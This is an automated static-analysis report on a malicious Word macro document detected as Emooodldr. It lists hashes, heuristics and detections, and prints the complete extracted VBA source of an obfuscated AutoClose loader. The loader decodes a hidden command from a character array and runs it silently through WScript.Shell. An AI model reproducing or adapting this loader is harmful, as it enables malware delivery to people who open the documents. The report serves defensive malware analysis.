Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 f7dd9c3111f0e0ed…

MALICIOUS

Office (OOXML)

53.8 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-01-31
MD5: 6f347d19fcc0d336809ac1c49fdef3c2 SHA-1: 4443502cfd80dd39d3c49943df0264872a7bc4c7 SHA-256: f7dd9c3111f0e0ed831ecf858f98a95389818378526a5c69e0cfea1977638d0a
350 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.005 Visual Basic T1059.005 Visual Basic T1059.005 Visual Basic T1059.005 Visual Basic

The sample is an OOXML document containing a VBA macro with an AutoClose function. This macro is obfuscated and uses CreateObject and Shell calls to execute a second-stage payload. ClamAV detection also confirms this is a known malicious loader, specifically 'Doc.Malware.Emooodldr-6711604-0'. The VBA code reconstructs a string which is then passed to Application.Run, likely to download and execute further malicious content.

Heuristics 8

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         If hormonogenic - gripy > 1 Then
       CreateObject(Join(Array(viricidal, "Shell"), ".")).Run remainders, 0
       sargassum = False
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "polychromy", unpremeditately
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If hormonogenic - gripy > 1 Then
       CreateObject(Join(Array(viricidal, "Shell"), ".")).Run remainders, 0
       sargassum = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  rosabel = Array("T", "d", "P", "u", "3", "x", "z", "O", "z", "p", "P", "u", "u", "C", "A", "s", "s", "3", "D", "r", "B", "u", "N", "D", "N", "Z", "9", "B", "z", "z", "u", "N", "r", "z", "d", "P", "J", "u", "R", "B", "x", "8", "N", "T", "s", "m", "2", "2", "s", "9", "D", "z", "z", "n", "x", "C", "P", "C", "5", "J", "u", "T", "3", "w", "a", "B", "r", "z", "g", "N", "r", "3")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2119 bytes
SHA-256: b548fba0286aa34d61a0e4559c2d892897c535acae9310611897b207c8730398
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function shovellers(rosabel)
  gallia = Array("u", "8", "s", "w", "R", "z", "Z", "g", "d", "x", "m", "9", "B", "T", "r", "a", "J", "3", "2", "N", "C", "n", "p", "A", "D", "O", "5", "P")
  heteroeciously = Array("t", "c", "/", "=", "k", "e", "l", "f", "s", ".", "F", "g", "i", "m", "n", "w", "u", "a", "B", "o", "p", "d", " ", ":", "r", "x", "?", "h")
  
  sheathy = vbNullString
  
  For Each alicia In rosabel
    godets = voluntaryist(alicia, gallia, UBound(gallia))
    If godets > -1 Then
    sheathy = heteroeciously(godets) & sheathy
    End If
  Next
  
  shovellers = StrReverse(sheathy)
  
End Function

Public Function voluntaryist(retinitises, anaphoria, peptones)
  clip = 5553
  intersocial = 772
  For clip = 0 To peptones
    If anaphoria(clip) = retinitises And clip > -1 Then
     intersocial = clip
    End If
  Next

  If intersocial = 772 Then
    intersocial = -1
  End If
  
  voluntaryist = intersocial
End Function

Sub AutoClose()
  rosabel = Array("T", "d", "P", "u", "3", "x", "z", "O", "z", "p", "P", "u", "u", "C", "A", "s", "s", "3", "D", "r", "B", "u", "N", "D", "N", "Z", "9", "B", "z", "z", "u", "N", "r", "z", "d", "P", "J", "u", "R", "B", "x", "8", "N", "T", "s", "m", "2", "2", "s", "9", "D", "z", "z", "n", "x", "C", "P", "C", "5", "J", "u", "T", "3", "w", "a", "B", "r", "z", "g", "N", "r", "3")
  unpremeditately = shovellers(rosabel)
  
  Application.Run "polychromy", unpremeditately
  
End Sub


Private Sub polychromy(remainders)
   
   viricidal = "WScript"
   gripy = 3271
   sargassum = True
   
   While sargassum
     hormonogenic = gripy + 60
     If hormonogenic - gripy > 1 Then
       CreateObject(Join(Array(viricidal, "Shell"), ".")).Run remainders, 0
       sargassum = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 8a4bf05e1f10419d1104b40c89c0d8f0fb9bd6f43e60374a35f2d5f4f9eb3ce5
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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